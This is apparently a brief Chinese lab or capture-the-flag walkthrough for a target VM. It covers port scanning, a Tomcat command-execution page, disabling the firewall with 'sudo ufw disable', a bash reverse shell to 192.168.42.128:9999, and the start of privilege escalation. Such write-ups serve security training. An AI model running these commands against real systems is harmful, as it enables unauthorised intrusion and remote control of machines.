getshell
1.查看靶机的mac地址并修改网络模式为nat
2.主机发现和端口扫描
3.访问8080端口
4.点击 manager webapp
5.尝试了一下弱口令,爆破等,没有登录进去,目录扫描8080端口看看
6.拼接test.jsp
7.在框里输入ls -la /home
8.发现可以执行命令反弹shell尝试
9.发现没有反弹成功,有可能是防火墙问题查看一下防火墙开没开
ls -la /etc
10.发现开启 尝试关闭
ssh bill@localhost sudo ufw disable
11.再次反弹
ssh bill@localhost bash -i >& /dev/tcp/192.168.42.128/9999 0>&1
12.发现成功反弹查看权限是低权限用户
提权
1.sudo -l,查看当前权限,显示all
sudo -l